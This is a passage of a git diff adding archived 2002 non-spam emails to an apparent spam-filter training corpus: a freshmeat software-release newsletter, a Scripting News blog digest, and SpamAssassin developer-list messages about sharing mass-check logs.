attachments from +OpenOffice.org, and contains more improvements and bugfixes. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/sylpheed/ + + - % - % - % - % - + +[085] - Sympoll 1.3 + by Ralusp (http://freshmeat.net/users/ralusp/) + Tuesday, July 30th 2002 18:05 + +Internet :: WWW/HTTP :: Dynamic Content + +About: Sympoll is a customizable voting booth system. It is written using +PHP and requires access to a MySQL database. Any number of polls may exist +concurrently. Individual polls can easily be embedded into any PHP or +SHTML Webpage. Creation and modification of polls is made extremely easy +through a Web-based administration page. Sympoll can prevent users from +voting multiple times by using cookies, IP logging, or both. + +Changes: This version fixes an important security vulnerability that was +introduced in Sympoll 1.2. There are also several other bugfixes and minor +feature additions. + +License: The Apache License + +URL: http://freshmeat.net/projects/sympoll/ + + - % - % - % - % - + +[086] - The Big Dumb Finger Daemon 0.9.5 + by Lebbeous Weekley (http://freshmeat.net/users/lweekley/) + Tuesday, July 30th 2002 03:53 + +Internet :: Finger + +About: The Big Dumb Finger Daemon is a replacement fingerd for Linux with +new features and extensive configurability. It gives the administrator +many options without allowing an individual user to totally compromise +the information given out about them. Some of the new features enhance +user security and privacy. The daemon is meant to run standalone, but +will run in inetd mode as well. + +Changes: The .plan, .project, .nofinger, and other associated files can be +stored in a common directory and read by bdfingerd, running SUID nobody. +This allows users to have .plan files without giving any permissions to +their home directories. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/bdfingerd/ + + - % - % - % - % - + +[087] - The Parma Polyhedra Library 0.4.1 + by Roberto Bagnara (http://freshmeat.net/users/bagnara/) + Tuesday, July 30th 2002 12:46 + +Scientific/Engineering :: Mathematics + +About: The Parma Polyhedra Library is user friendly, fully dynamic, +written in standard C++, exception-safe, efficient, and thoroughly +documented. + +Changes: Fixes were made for a bug in +Polyhedron::poly_difference_assign(const Polyhedron& y) whereby the +equality constraints of `y' were ignored, a bug in +Polyhedron::operator=(const Polyhedron& y) that should only affect +versions obtained with the `--enable-assertions' configuration flag, a bug +in Polyhedron::check_universe() which was returning the wrong result when +called on a zero-dim universe polyhedron, and a bug in +NNC_Polyhedron::NNC_Polyhedron(ConSys& cs) that should only affect +versions obtained with the `--enable-assertions' configuration flag. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/ppl/ + + - % - % - % - % - + +[088] - The Tamber Project 1.0.6 + by tamber (http://freshmeat.net/users/tamber/) + Tuesday, July 30th 2002 13:18 + +Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries + +About: The Tamber project is a componentized n-tier Web site engine that +uses open languages such as XML and JavaScript. Content is stored in +separate XML files, in databases, or other data objects. Business +functions are carried out by JavaScript and ASP. Presentation is +controlled by an XSL transformation, which allows for delivery over +multiple channels such as HTML, WAP, and MHEG. Currently, Tamber can +deliver to HTML and WAP, and contains modules that support e-commerce +shopping carts, secure sign in, data access and conversion services, and +advanced session management. + +Changes: A fix for an MS IE sign-in bug. + +License: GNU Lesser General Public License (LGPL) + +URL: http://freshmeat.net/projects/tamber/ + + - % - % - % - % - + +[089] - Trackbox 0.4 + by Thread (http://freshmeat.net/users/threadbean/) + Tuesday, July 30th 2002 17:16 + +Multimedia :: Sound/Audio :: Players + +About: Trackbox is a pure Perl music server. A trackbox client can connect +to the server, and issue commands to it. The server maintains a single +playlist, volume setting, etc. that can be modified remotely by connected +clients. Any file format for which there is a commandline player is +supported, and it has a very simple config file. One possible application +could be a LAN party in which everybody would like to influence the music +selections. + +Changes: This release has playlist save/restore support, a 'move' command +(playlist order), the ability to set the initial play/shuffle/random flag +settings (and start the server in your init scripts), and some other minor +features/changes. There are some clients under development. + +License: Artistic License + +URL: http://freshmeat.net/projects/trackbox/ + + - % - % - % - % - + +[090] - tui-sh 1.2.0 + by yeupou (http://freshmeat.net/users/mathieur/) + Tuesday, July 30th 2002 10:13 + +Utilities + +About: tui-sh stands for text user interface in a shell, and is a package +of miscellaneous scripts which are useful for a variety of purposes. They +are all designed to be faster and easier to use than the command line that +would normally be required to accomplish the same task. For example, there +are scripts for mass conversion of WAV files to Ogg files and Ogg files to +WAV files, for converting LaTeX to PostScript and viewing the output in +ggv, for creating image thumbnails, for converting from the Euro to +another currency, and for automated updating via FTP. + +Changes: This release features usage of gettext for internationalization +and getopt. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/tui-sh/ + + - % - % - % - % - + +[091] - uVNC 0.0-2 + by Adam Dunkels (http://freshmeat.net/users/adamdunkels/) + Tuesday, July 30th 2002 18:18 + +Software Development :: Embedded Systems +System :: Networking + +About: uVNC is a very small VNC server that can be run even on tiny 8-bit +microcontrollers commonly found in small embedded devices. With uVNC, such +devices can have a networked display without the need for any graphics +hardware or a computer screen. A demo server running on a Commodore 64 is +available. + +License: BSD License + +URL: http://freshmeat.net/projects/uvnc/ + + - % - % - % - % - + +[092] - Valgrind 1.0.0 + by sigra (http://freshmeat.net/users/sigra/) + Tuesday, July 30th 2002 23:04 + +Software Development :: Testing + +About: Valgrind is a tool that helps you find memory management problems +in programs. When a program is run under Valgrind's supervision, all reads +and writes of memory are checked, and calls to malloc/new/free/delete are +intercepted. As a result, Valgrind can detect problems such as use of +uninitialized memory, reading/writing of memory after it has been freed, +reading/writing off the end of malloced blocks, reading/writing +inappropriate areas on the stack, memory leaks in which pointers to +malloced blocks are lost forever, passing of uninitialized and/or +unaddressable memory to system calls, and mismatched use of malloc/new/new +[] vs. free/delete/delete []. + +Changes: Support for the x86 fldenv instruction, a fix for an obscure +optimiser bug causing failures like this: "insane instruction 27: PUTFL +%ecx", a fix for dying with bus errors running programs which mess with +the x86 AC (alignment-check) flag, fixes to make it compile and run on Red +Hat "Limbo" (7.3.92), a fix for a possible assert failure having to do +with free() when running cachegrind (not valgrind), and final manual +adjustments. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/valgrind/ + + - % - % - % - % - + +[093] - VNC Reflector 1.1.9 + by Const Kaplinsky (http://freshmeat.net/users/const/) + Tuesday, July 30th 2002 03:49 + +Education +System :: Systems Administration + +About: VNC Reflector is a specialized VNC server which acts as a proxy +between a real VNC server (a host) and a number of VNC clients. It was +designed to work efficiently with large number of clients. It can switch +between different hosts on the fly, preserving client connections. It +supports reverse host-to-reflector connections, it can save host sessions +on disk, and it also has other unique features. + +Changes: Handling of host connections with different desktop geometries +was improved, and support for dynamic changes to desktop size was +implemented. The ability to specify negative display numbers was added. A +few other new features were implemented, and a number of bugs were fixed. + +License: BSD License + +URL: http://freshmeat.net/projects/vnc-reflector/ + + - % - % - % - % - + +[094] - vpopmail 5.3.8 (Development) + by kbo (http://freshmeat.net/users/kbo/) + Tuesday, July 30th 2002 11:07 + +Communications :: Email +Communications :: Email :: Mail Transport Agents +Communications :: Email :: Post-Office :: POP3 + +About: vpopmail (vchkpw) is a collection of programs and a library to +automate the creation and maintenance of virtual domain email +configurations for qmail installations using either a single UID/GID or +any valid UID/GID in /etc/passwd with a home directory. Features are +provided in the library for other applications which need to maintain +virtual domain email accounts. It supports named or IP-based domains. It +works with vqadmin, qmailadmin, vqregister, sqwebmail, and courier-imap. +It supports MySQL, Sybase, Oracle, LDAP, and file-based (DJB constant +database) authentication. It supports SMTP authentication combined with +the qmail-smtp-auth patch. It supports user quotas and roaming users (SMTP +relay after POP authentication). + +Changes: This release adds one last patch for the vgetent problem, +comments out the lseek definition for BSD users, replaces the old +qmail-pop3d-maildirquota patch with the qmail-maildir++ patch (which adds +Maildir++ support not only to qmail-pop3d, but also to qmail-local), and +updates the documentation. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/vpopmail/ + + - % - % - % - % - + +[095] - Vstr string library 0.9.9 + by Nevyn (http://freshmeat.net/users/nevyn/) + Tuesday, July 30th 2002 00:14 + +Software Development :: Libraries + +About: Vstr is a string library designed for network communication, but +applicable in a number of other areas. It works on the idea of separate +nodes of information, and works on the length/ptr model and not the +termination model a la "C strings". It can also do automatic referencing +for mmap() areas of memory, and includes a portable version of a +printf-like function. + +Changes: The vstr_export_buf() function now performs automatic bounds +checking in the same way as vstr_export_cstr_buf(). vstr_sc_read_*() now +works even if the vstr isn't configured to have an iovec cache. Work on +internal symbol hiding has been made, making the library smaller and +faster. + +License: GNU Lesser General Public License (LGPL) + +URL: http://freshmeat.net/projects/vstr/ + + - % - % - % - % - + +[096] - WallFire wfconvert 0.1.3 + by Hervé Eychenne (http://freshmeat.net/users/rv/) + Tuesday, July 30th 2002 10:16 + +Security +System :: Networking :: Firewalls + +About: The goal of the WallFire project is to create a very general and +modular firewalling application based on Netfilter or any kind of +low-level framework. Wfconvert is a tool which imports/translates rules +from/to any supported firewalling language. + +Changes: This release adds support for service "macros" in WallFire's +native language, a "disabled" flag for a rule, and MAC addresses class +handling. Man pages now install properly, and the whole thing compiles +under g++-3.1. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/wfconvert/ + + - % - % - % - % - + +[097] - WallFire wflogs 0.0.5 + by Hervé Eychenne (http://freshmeat.net/users/rv/) + Tuesday, July 30th 2002 10:35 + +Internet :: Log Analysis +Security +System :: Logging + +About: The goal of the WallFire project is to create a very general and +modular firewalling application based on Netfilter or any kind of +low-level framework. Wflogs is a log analysis and reporting tool. + +Changes: This release adds a --strict-parsing option and support for MAC +addresses. Man pages now install properly, a serious bug which could cause +wflogs to crash was fixed, and ICMP codes are now parsed properly with +netfilter logs. The whole thing compiles under g++-3.1. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/wflogs/ + + - % - % - % - % - + +[098] - webcpp gtkgui 0.3.1 (Gnome) + by Jeffrey Bakker (http://freshmeat.net/users/staeryatz/) + Tuesday, July 30th 2002 13:20 + +Text Processing :: Markup :: HTML + +About: webcpp gtkgui is a GTK+ GUI for webcpp. + +Changes: Support for Cg, CLIPS, Haskell, and Tcl, code cleanups in +callbacks.c, and an updated about box. Webcpp 0.7.3 is now required. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/webcppgui/ + + - % - % - % - % - + +[099] - WebDialer 1.4 + by Dietrich Heise (http://freshmeat.net/users/dietrich/) + Tuesday, July 30th 2002 10:49 + +Internet :: WWW/HTTP + +About: Webdialer is a script to configure and start/stop wvdial, ISDN, or +ADSL connections from a Web browser, which is very useful when it runs on +a headless gateway. It features log functions for IP, time connected, and +traffic that was transferred and received. You can use several languages +(English, German, French, Spanish, Italian, Czech, and Turkish). + +Changes: This release adds better ISDN support and some bugfixes. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/webdialer/ + + - % - % - % - % - + +[100] - WebFileManager 0.972 (Stable) + by horsburgh (http://freshmeat.net/users/horsburg/) + Tuesday, July 30th 2002 16:56 + +Desktop Environment :: Window Managers +Internet :: WWW/HTTP :: Site Management + +About: FileManager is a secure (SSL), multi-user, and Web- based program +for file, directory, and remote command management. It is written in +Perl, for Linux and Unix-like operating systems. It displays full +directory information; allows file viewing, deleting, renaming, +uploading, downloading, etc.; assists in directory navigation; and can +execute any command for which the user account has privilege. +FileManager also comes with a built-in text editor for quick editing and +file updates. + +Changes: A security hole that allowed authorized users to view any file on +the system has been fixed. The security certificate has been extended. +Support has been added for 29 more OS types. The find function now works +for non-root, jailed users. A new option controls whether or not a user +can "click" outside their home directory tree. The AllowRootUser parameter +can now disable the 'root' user. A bug that prevented non-root, jailed +users from creating subdirectories, a "group" permissions access problem, +and a bug in the "Command Line" box which prevented using the asterisk +wildcard have all been fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/webfilemgr/ + + - % - % - % - % - + +[101] - WebJob 1.2.0 + by Klayton Monroe (http://freshmeat.net/users/mavrik/) + Tuesday, July 30th 2002 13:19 + +Security +System :: Monitoring +System :: Systems Administration + +About: WebJob downloads a program over HTTP/HTTPS and executes it in one +unified operation. The output, if any, may be directed to stdout/stderr or +a Web resource. WebJob may be useful in incident response and intrusion +analysis as it provides a mechanism to run known good diagnostic programs +on a potentially compromised system. It can also support various +host-based monitoring solutions. + +Changes: Under the hood, the project went through some significant +restructuring, primarily to make room for three new platforms: NT/2K, +Cygwin, and MacOS X. The default installation directory has changed for +Unix platforms (it is now in /usr/local/integrity). + +License: BSD License + +URL: http://freshmeat.net/projects/webjob/ + + - % - % - % - % - + +[102] - white_dune 0.20beta12 (Development) + by MUFTI (http://freshmeat.net/users/mufti22/) + Tuesday, July 30th 2002 17:10 + +Games/Entertainment +Internet :: WWW/HTTP +Multimedia :: Graphics :: 3D Modeling + +About: VRML97 (Virtual Reality Modelling Language) is the ISO standard for +displaying 3D data over the web via browserplugins. It has support for +animation, realtime interaction and multimedia (image, movie, sound). Dune +can read VRML97 files, display and let the user change the +scenegraph/fields, and load and store x3d (next generation VRML xml +format) files if configured to work with the nist.gov x3d translators. It +also has support for stereoscopic view via "quadbuffer"-capable stereo +visuals. + +Changes: A crash when creating NurbsSurface has been fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/whitedune/ + + - % - % - % - % - + +[103] - WideStudio 3.00.3 + by Shun-ichi Hirabayashi (http://freshmeat.net/users/hirabays/) + Tuesday, July 30th 2002 23:03 + +Software Development :: Build Tools + +About: WideStudio is a multi-platform integrated development environment +for building windowed event-driven applications. It uses its own +independent class libraries. Automatic source code generation is provided +by the application builder, which also provides project management and +automatic makefile generation. WideStudio can be used to develop +applications on Linux, Solaris, and Windows. + +Changes: New functions of distributed network computing and accessing the +database and computer graphics were added. + +License: MIT/X Consortium License + +URL: http://freshmeat.net/projects/widestudio/ + + - % - % - % - % - + +[104] - Wolfpack 12.8.7 (Stable) + by Correa (http://freshmeat.net/users/correa/) + Tuesday, July 30th 2002 10:50 + +Communications +Games/Entertainment :: Multi-User Dungeons (MUD) +Games/Entertainment :: Role-Playing + +About: Wolfpack is software for an Ultima Online MMORPG server. It +features a scripting language and supports both Third Dawn and T2A. You +need EA's Ultima Online to play on Wolfpack servers. + +Changes: Stability has been improved. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/wolfpack/ + + - % - % - % - % - + +[105] - XMLtype 0.5.1 (Development) + by Jiri Tobisek (http://freshmeat.net/users/tobich/) + Tuesday, July 30th 2002 18:39 + +Text Editors + +About: The goal of the XMLtype project is to create a console-based editor +of XML document-oriented files in UTF-8 encoding. It is designed from the +beginning for multilingual use, even for writing bi-directional texts +(e.g. mixed English and Hebrew). The design focuses on comfortable and +fast typing of well-formed XML documents. Thus XMLtype is not meant to +compete with advanced console editors like Emacs or VIM. For full +functionality, XMLtype requires UTF-8 console support. It is being +developed under Linux and for the ANSI/VT-100 terminal. + +Changes: This release fixes an ugly I/O bug caused by previous bugfixing. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/xmltype/ + + - % - % - % - % - + +[106] - Zina 0.9.1 + by Ryan (http://freshmeat.net/users/pancake/) + Tuesday, July 30th 2002 06:00 + +Internet :: WWW/HTTP :: Dynamic Content +Multimedia :: Sound/Audio :: Players :: MP3 + +About: Zina is a graphical interface to your MP3 collection, a personal +jukebox, and an MP3 streamer. It is similar to Andromeda, but released +under the GNU General Public License. + +Changes: VBR file info and tag support was improved. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/zina/ + + - % - % - % - % - + +[107] - zprommer 2002_07_29 + by zut (http://freshmeat.net/users/zut/) + Tuesday, July 30th 2002 05:43 + + + +About: zprommer is a program for driving the simple, affordable E(E)PROM +programmer from www.batronix.com. It works under Linux/i386 and is +designed to be easily extensible for new chip types. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/zprommer/ + + + +-- . - .--- --. ------.- - -----.---.--- .--.-...-.--- --- -- + + +_______________________________________________ +The freshmeat daily newsletter +To unsubscribe, send email to freshmeat-news-request@lists.freshmeat.net +or visit http://lists.freshmeat.net/mailman/listinfo/freshmeat-news + + diff --git a/bayes/spamham/easy_ham_2/01318.193fb7308fee59bb4aa70cc72191b0b1 b/bayes/spamham/easy_ham_2/01318.193fb7308fee59bb4aa70cc72191b0b1 new file mode 100644 index 0000000..0950d95 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01318.193fb7308fee59bb4aa70cc72191b0b1 @@ -0,0 +1,67 @@ +From webmaster@userland.com Wed Jul 31 06:02:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 27DBA4406D + for ; Wed, 31 Jul 2002 01:02:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 06:02:31 +0100 (IST) +Received: from lists.userland.com ([64.14.1.88]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6V52E203231 for + ; Wed, 31 Jul 2002 06:02:14 +0100 +Received: from 64.14.1.93 (unknown [64.14.1.93]) by lists.userland.com + (Postfix) with SMTP id 52E5DEE4C for ; + Tue, 30 Jul 2002 22:03:11 -0700 (PDT) +X-Mailer: UserLand Frontier 7.0.1 (Windows NT) +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Date: Wed, 31 Jul 2002 05:00:42 GMT +To: legit-list-scriptingnews@spamassassin.taint.org +From: webmaster@userland.com +Subject: Scripting News Update +Message-Id: <20020731050311.52E5DEE4C@lists.userland.com> + + + +
+ + + + +
  + + + + + +

+ Apparently the NY Mets couldn't find a way to compromise with some of the team's most dedicated fans. A sad day for New York baseball. What would Mookie say?? 

+Salon: "Listen's $10-per-month Rhapsody service has a fantastic interface, and, since it has content from all five labels, you can find much of what you'd like on it. You can listen to any song as often as you'd like -- an option that gives a taste of what a perfect subscription service would feel like. The only trouble is, Listen won't let you burn -- and, as one file trader asked, 'Who wants to be stuck listening to shit at their computer?'"  

+Martin Schwimmer, a trademark attorney and Mets fan, weighs in on Bryan Hoch's MetsOnline situation. 

+Joel Klein, Microsoft's chief prosecutor in the Clinton Administration, is named chancellor of New York's public school system. 

+It's been one week since Salon's blogs booted up. Scott Rosenberg posts a progress report.  

+FarrFeed: "I love this stuff." 

+I know this isn't big news for most of you, but I'm no longer the first Dave on Google. Maybe someday I will be, again. :-( 

+Well, yesterday I went for my 30-day post op review (it was actually 38 days after I was discharged) and there was good news and bad news. The good news is that I'm healing quickly. My body is very strong and doing really well. My blood pressure is great. Heart rate is great. Cholesterol needs work and I have to lose a bunch of weight, and of course I can't smoke. Now the bad news. I have to be a saint for the rest of my life. I knew this day was coming. As I start to feel better, I want to relax. That ain't going to happen. Oy. Here's my old theme song. "Don't ask me to be Mister Clean, cause baby I don't know how." I need a new song. Oh mama.  

+Ed Cone's got the blogging bug: "I filed my N&R column about the bad proposed corporate hacking bill. It will run on Sunday -- it's an early deadline no matter what, but after blogging for a few months it's almost painful to wait so long. I feel like just posting it now, or scooping myself with the best parts....but patience is a virtue." Hehe. 

+Historian Stephen Ambrose, who is interviewed on the PBS News Hour today: "You can do whatever the hell you want. Who's going to criticize you? And if they do, what the hell do you care?"  

+Radio Free Blogistan: Blogger vs Radio. 

+Reuters: "Stocks briefly extended their losses in late morning trading on Tuesday, biting into Monday's monster rally." 

+A picture named bryanHoch.gifThanks to Glenn Reynolds for the link to metsonline.net. As a Mets fan since 1962, I think it's great that sites like this exist and are flourishing. Like Bryan Hoch, the webmaster, I also run websites as a labor of love, and know there isn't generally a whole lot of money left over after you pay for bandwidth. I totally believe Hoch, a college student, when he says he isn't making money. The site clearly disclaims that it is not representative of the Mets or Major League Baseball. If you go deeper you see that Hoch contributed his time for free to help the Mets improve their own site, before all sites were taken over by MLB in 2001 (what a bad idea, why can't teams differentiate themselves based on the quality of their community sites). Now of course there's another side to it, so let's keep an open mind. But to the owners of the Mets, please remember, it's the fans that make it work, and it's pretty clear that this website is from the fans, for the fans and the team, and that's a good thing. 

+Postscript: I've been emailing with Bryan, and asked if the local NY press has taken up his cause. He says: "Not yet. You can help by calling any one of the major metro papers (Post, Daily News, Times, Newsday)." More.. Ernie the Attorney is looking into this. "LSU Law School is suing one of its students for trademark infringement over a website that he maintains. The site is called lsulaw.com, and it includes a school calendar, law-related links and comments by Douglas Dorhauer, some of them critical of the law school." 

+Bret Fausett, yesterday: "It's hard to imagine a more complete win than what ICANN Director Karl Auerbach received today from Los Angeles Superior Court Judge Dzintra Janavs." 

+James Jarrett wonders where is his blog flow? 

+Mark Crane writes: "Woke up early the other morning, and started listening to a BBC special on the Silicon Valley. Suddenly I heard the voice of Dave Winer, and he sounded like this mellow California hippy-geek. You should do a DaveNet that is just a stream of you reading the essay. Hearing the Dave voice totally changed my perceptions of the Dave Winer experience." It's true, I have a pretty soft voice. I laugh a lot too. Many people are surprised.  

+OSCON, last week, has done its job and stirred the embers of the Great Open Source Debate of the 1990s. I found myself writing in an email yesterday: "Very little really usable software has come from people who are willing to work for $0. (I chose my words carefully, infrastructure is another matter entirely.) Further, it's weird to say, as Richard Stallman does, that by coercing programmers to work for $0 that that's freedom. To me it seems obvious that that's slavery."  

+Washington Post: "Operated for years by Internet addressing giant VeriSign Inc., dot-org is slated to get a new landlord in October when VeriSign relinquishes its hold on the domain." 

+Two years ago on this day: "The best standard is the one with the most users." 

+Ponder yesterday's riddle. Then click on the solution.  

+ +

+ + + + diff --git a/bayes/spamham/easy_ham_2/01319.a0886c0d7051df2d7dca8574f4211e87 b/bayes/spamham/easy_ham_2/01319.a0886c0d7051df2d7dca8574f4211e87 new file mode 100644 index 0000000..c333c1d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01319.a0886c0d7051df2d7dca8574f4211e87 @@ -0,0 +1,77 @@ +From spamassassin-devel-admin@lists.sourceforge.net Tue Jul 30 18:41:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB5ED440A8 + for ; Tue, 30 Jul 2002 13:41:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:41:18 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6UHX3208423 for ; Tue, 30 Jul 2002 18:33:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Zapq-00042l-00; Tue, + 30 Jul 2002 10:31:02 -0700 +Received: from [213.105.180.140] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17Zaoz-0001t4-00 for ; + Tue, 30 Jul 2002 10:30:09 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g6UHU7p12140 for ; + Tue, 30 Jul 2002 18:30:07 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 5BC0A4406D; Tue, 30 Jul 2002 13:29:08 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 56EA233F3A for + ; Tue, 30 Jul 2002 18:29:08 +0100 (IST) +To: SpamAssassin-devel@example.sourceforge.net +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +X-Image-Url: http://spamassassin.taint.org/me.jpg +Message-Id: <20020730172908.5BC0A4406D@phobos.labs.netnoteinc.com> +Subject: [SAdev] Alternatives to the GA +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 30 Jul 2002 18:29:03 +0100 +Date: Tue, 30 Jul 2002 18:29:03 +0100 + +BTW Ken Shan suggested making a set of corpus data publically available, +so that different classification algos can be tried out. + +I'd be happy to do that -- providing the nonspam.log and spam.log files +from my mass-check output (ie. the "matrix of test results" in Ken's +terms). Along with the default scores, this is the entire input data set +for the SpamAssassin GA system. + +So, if anyone wants a go, contact me by mail. + +--j. + +-- +'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01320.099f7c8107914cf82efe156e8c7f09fc b/bayes/spamham/easy_ham_2/01320.099f7c8107914cf82efe156e8c7f09fc new file mode 100644 index 0000000..343ed1d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01320.099f7c8107914cf82efe156e8c7f09fc @@ -0,0 +1,51 @@ +From rOD@arsecandle.org Tue Jul 30 18:41:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D0D3C4406D + for ; Tue, 30 Jul 2002 13:41:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 18:41:14 +0100 (IST) +Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6UHbS208587 for + ; Tue, 30 Jul 2002 18:37:29 +0100 +Received: (qmail 800 invoked from network); 30 Jul 2002 17:36:27 -0000 +Received: from unknown (HELO RAGING) ([66.92.72.213]) (envelope-sender + ) by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP + for ; 30 Jul 2002 17:36:27 -0000 +Message-Id: <014501c237ef$96258d30$b554a8c0@RAGING> +From: "rODbegbie" +To: "Justin Mason" +References: <20020730172908.5BC0A4406D@phobos.labs.netnoteinc.com> +Subject: Re: [SAdev] Alternatives to the GA +Date: Tue, 30 Jul 2002 13:36:06 -0400 +Organization: Arsecandle Industries, Inc. +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2800.1050 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2800.1050 + +Justin Mason wrote: +> I'd be happy to do that -- providing the nonspam.log and spam.log files +> from my mass-check output (ie. the "matrix of test results" in Ken's +> terms). Along with the default scores, this is the entire input data set +> for the SpamAssassin GA system. + +Always happy to contribute my mass-check logs. The only problem is that was +all have to be using the exact same ruleset. + +Let me know if you want them. + +rOD. + + +-- +"I would also have accepted 'Snacktacular'" + +>> Doing the blogging thang again at http://www.groovymother.com/ << + + diff --git a/bayes/spamham/easy_ham_2/01321.b60952a220ebf684df40ccd25d7e1daf b/bayes/spamham/easy_ham_2/01321.b60952a220ebf684df40ccd25d7e1daf new file mode 100644 index 0000000..5cc22ab --- /dev/null +++ b/bayes/spamham/easy_ham_2/01321.b60952a220ebf684df40ccd25d7e1daf @@ -0,0 +1,83 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 2 16:36:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4B5074410D + for ; Fri, 2 Aug 2002 11:35:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:35:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Ekun01631 for + ; Fri, 2 Aug 2002 15:46:56 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id NAA02881 for + ; Fri, 2 Aug 2002 13:44:45 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17abi7-0003d0-00; Fri, + 02 Aug 2002 05:39:15 -0700 +Received: from mail13.speakeasy.net ([216.254.0.213] + helo=mail.speakeasy.net) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17abhe-0004no-00 for ; + Fri, 02 Aug 2002 05:38:46 -0700 +Received: (qmail 14794 invoked from network); 2 Aug 2002 12:38:44 -0000 +Received: from unknown (HELO smoking) ([66.92.72.101]) (envelope-sender + ) by mail13.speakeasy.net (qmail-ldap-1.03) with SMTP + for ; 2 Aug 2002 12:38:44 -0000 +Message-Id: <00e701c23a21$886271c0$65485c42@smoking> +From: "rODbegbie" +To: "Spam Assassin" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft 